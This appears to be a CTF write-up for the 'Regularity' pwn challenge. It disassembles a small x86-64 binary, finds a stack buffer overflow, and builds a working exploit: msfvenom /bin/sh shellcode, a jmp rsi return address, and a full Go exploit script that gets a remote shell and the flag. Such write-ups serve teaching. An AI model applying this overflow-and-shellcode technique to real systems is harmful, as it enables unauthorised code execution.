<- PWN

Regularity

5 minutes to read

We are given a 64-bit binary called regularity:

Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing  
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

Reverse engineering

The binary is so small, that we can work using objdump and directly analyze the assembly code:

$ objdump -M intel -d regularity

regularity:	file format elf64-x86-64

Disassembly of section .text:

0000000000401000 <_start>:
  401000: bf 01 00 00 00               	mov	edi, 1
  401005: 48 be 00 20 40 00 00 00 00 00	movabs	rsi, 4202496
  40100f: ba 2a 00 00 00               	mov	edx, 42
  401014: e8 2a 00 00 00               	call	0x401043 <write>  
  401019: e8 2d 00 00 00               	call	0x40104b <read>
  40101e: bf 01 00 00 00               	mov	edi, 1
  401023: 48 be 2a 20 40 00 00 00 00 00	movabs	rsi, 4202538
  40102d: ba 27 00 00 00               	mov	edx, 39
  401032: e8 0c 00 00 00               	call	0x401043 <write>
  401037: 48 be 6f 10 40 00 00 00 00 00	movabs	rsi, 4198511
  401041: ff e6                        	jmp	rsi

0000000000401043 <write>:
  401043: b8 01 00 00 00               	mov	eax, 1
  401048: 0f 05                        	syscall
  40104a: c3                           	ret

000000000040104b <read>:
  40104b: 48 81 ec 00 01 00 00         	sub	rsp, 256
  401052: b8 00 00 00 00               	mov	eax, 0
  401057: bf 00 00 00 00               	mov	edi, 0
  40105c: 48 8d 34 24                  	lea	rsi, [rsp]
  401060: ba 10 01 00 00               	mov	edx, 272
  401065: 0f 05                        	syscall
  401067: 48 81 c4 00 01 00 00         	add	rsp, 256
  40106e: c3                           	ret

000000000040106f <exit>:
  40106f: b8 3c 00 00 00               	mov	eax, 60
  401074: 31 ff                        	xor	edi, edi
  401076: 0f 05                        	syscall

Basically, the program simply writes a message to stdout, reads from stdin and prints another message:

$ ./regularity
Hello, Survivor. Anything new these days?  
asdf
Yup, same old same old here as well...

The problem appears in the read function:

000000000040104b <read>:
          40104b:  	    sub	rsp, 256    # Reserves 256 bytes on the stack  
          401052:  	    mov	eax, 0      # sys_read
          401057:  	    mov	edi, 0
          40105c:  	    lea	rsi, [rsp]
          401060:  	    mov	edx, 272
          401065:  	    syscall         # sys_read(0, $rsi, 272)
          401067:  	    add	rsp, 256
          40106e:  	    ret

As can be seen in the above comments, the function reserves 256 bytes on the stack, but uses sys_read to read up to 272 bytes that will be saved on the stack as well.

Buffer Overflow vulnerability

As a result, we have a Buffer Overflow vulnerability, because we can exceed the 256-byte buffer by 16 bytes. as a result, we will be able to modify the return address.

Let’s analyze it with GDB:

$ gdb -q regularity
Loading GEF...
Reading symbols from regularity...
(No debugging symbols found in regularity)  
gef> run
Starting program: /tmp/regularity
Hello, Survivor. Anything new these days?
^C
Program received signal SIGINT, Interrupt.
0x0000000000401067 in read ()

gef> x/2i $rip
=> 0x401067 <read+28>:  add    rsp,0x100
   0x40106e <read+35>:  ret    
gef> x/40gx $rsp
0x7fffffffe5f8: 0x0000000000000000      0x0000000000000000  
0x7fffffffe608: 0x0000000000000000      0x0000000000000000
0x7fffffffe618: 0x0000000000000000      0x0000000000000000
0x7fffffffe628: 0x0000000000000000      0x0000000000000000
0x7fffffffe638: 0x0000000000000000      0x0000000000000000
0x7fffffffe648: 0x0000000000000000      0x0000000000000000
0x7fffffffe658: 0x0000000000000000      0x0000000000000000
0x7fffffffe668: 0x0000000000000000      0x0000000000000000
0x7fffffffe678: 0x0000000000000000      0x0000000000000000
0x7fffffffe688: 0x0000000000000000      0x0000000000000000
0x7fffffffe698: 0x0000000000000000      0x0000000000000000
0x7fffffffe6a8: 0x0000000000000000      0x0000000000000000
0x7fffffffe6b8: 0x0000000000000000      0x0000000000000000
0x7fffffffe6c8: 0x0000000000000000      0x0000000000000000
0x7fffffffe6d8: 0x0000000000000000      0x0000000000000000
0x7fffffffe6e8: 0x0000000000000000      0x0000000000000000
0x7fffffffe6f8: 0x000000000040101e      0x0000000000000001
0x7fffffffe708: 0x00007fffffffea3e      0x0000000000000000
0x7fffffffe718: 0x00007fffffffea4e      0x00007fffffffea59
0x7fffffffe728: 0x00007fffffffea70      0x00007fffffffea8b
gef> x/gx $rsp + 0x100
0x7fffffffe6f8: 0x000000000040101e

As can be seen, we will be able to modify the address at $rsp + 0x100 (0x40101e), so we will control the execution flow of the program.

Since the binary has no protection, the easiest thing is to enter shellcode on the stack (we can take advantage of the 256-byte buffer). However, we need to know the address of the stack buffer in order to jump to it.

Luckily, there is an instruction jmp rsi at 0x401041 in _start (supposed to be used to jump to exit). Notice that $rsi still contains the address of the stack buffer, because it was used for sys_read:

gef> p/x $rsi
$1 = 0x7fffffffe5f8

As a result, we will modify the return address with 0x401041, so that the program runs jmp rsi and executes the shellcode stored on the stack buffer.

Exploit development

First of all, let’s generate some shellcode for Linux 64-bit, we’ll use msfvenom for this purpose:

$ msfvenom -p linux/x64/exec -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of c file: 114 bytes
unsigned char buf[] =
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x5e\x6a\x3b\x58\x0f\x05";

Now, we can start writing the exploit. This time, I am using Go with my pwntools module, since the exploit is very simple:

func main() {
        io := getProcess()
        defer io.Close()

        shellcode := []byte("\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05")  
        jmpRsiAddr := uint64(0x401041)

        payload := make([]byte, 272)
        copy(payload, shellcode)
        copy(payload[256:], pwn.P64(jmpRsiAddr))

        io.SendAfter([]byte("Hello, Survivor. Anything new these days?\n"), payload)
        io.Interactive()
}

Basically, we define the shellcode and the jmp rsi address. Then we create the payload as a 272-byte buffer, copy the shellcode at the begining, and the jmp rsi address at offset 256. Finally, we send the payload and switch to interactive mode to use the shell.

It works locally:

$ go run solve.go
[+] Starting local process './regularity': pid 222532  
[*] Switching to interactive mode
$ ls
go.mod
go.sum
regularity
solve.go

Flag

Let’s try in the remote instance:

$ go run solve.go 94.237.59.63:44123
[+] Opening connection to 94.237.59.63 on port 44123: Done  
[*] Switching to interactive mode
$ ls
flag.txt
regularity
$ cat flag.txt
HTB{jMp_rSi_jUmP_aLl_tH3_w4y!}

The full exploit script can be found in here: solve.go.